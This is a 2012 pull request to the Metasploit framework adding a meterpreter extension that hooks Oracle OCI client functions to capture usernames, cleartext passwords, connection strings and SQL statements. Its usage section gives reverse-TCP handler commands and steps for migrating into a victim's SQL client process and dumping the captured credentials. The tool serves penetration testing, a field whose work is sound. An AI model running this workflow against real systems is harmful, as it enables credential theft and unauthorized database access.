rapid7/metasploit-framework — pull request #945 by FerencSpala (2012-10-22 07:41:49+00:00)
Title: New meterpreter extension called ocioralog

With the ocioralog meterpreter extension it is possible to hook
critical functions of the OCI driver. Currently the following functions
are supported:
- OCIAttrSet - Called when a user connects to a database and takes the
username and the cleartext password as parameters (when the user logs
in).
- OCIServerAttach - Called when the connection string is passed to the
TNS listener (when the user logs in).
- OCIStmtExecute - Called every time when an SQL statement is executed
from the client.

Hijacking these 3 functions makes it possible to dump the following
information:
- Username and password in time of login
- Oracle connection strings in time of login
- Username and password in time of every SQL statement execution!

[Supported Metasploit versions]
We have tested the extension on Metasploit 4.x.

[Available functions]

hook	- Hook all three functions
unhook	- Unhook all three function
hookOCIAttrSet	- Hook the OCIAttrSet function
unhookOCIAttrSet	- Unhook the OCIAttrSet function
hookOCIServerAttach	- Hook the OCIServerAttach function
unhookOCIServerAttach	- Unhook the OCIServerAttach function
hookOCIStmtExecute	- Hook the OCIStmtExecute function
unhookOCIStmtExecute	- Unhook the OCIStmtExecute function
setlogfile	- Set the log file where the extension will log into. The default value is c:\temp\ocioralog.txt. Please note that you have to use double backslashes (\\) when you set a new path. For example: C:\\temp\\mylog.txt
getlogfile	- Dump the log file into the screen

[Usage example]

1. Install the OCIoralog extension
2. Start the Metasploit framework
3. Start a meterpreter handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your.ip.address.here
set LPORT yourport
exploit
4. Start the meterpreter payload on the victim
5. When you got your metepreter shell, use the ps command to identify the sql client process ID
6. Migrate your session into the sql client process
migrate PID
7. Load the OCIoralog extension
load ocioralog
8. Execute module functions and wait for the golden egg :)
hook
...
...
getlogfile

[References]
Presented at DerbyCon 2.0
http://www.youtube.com/watch?v=Y1KlVdV9am0

[Authors]
Laszlo Toth
Ferenc Spala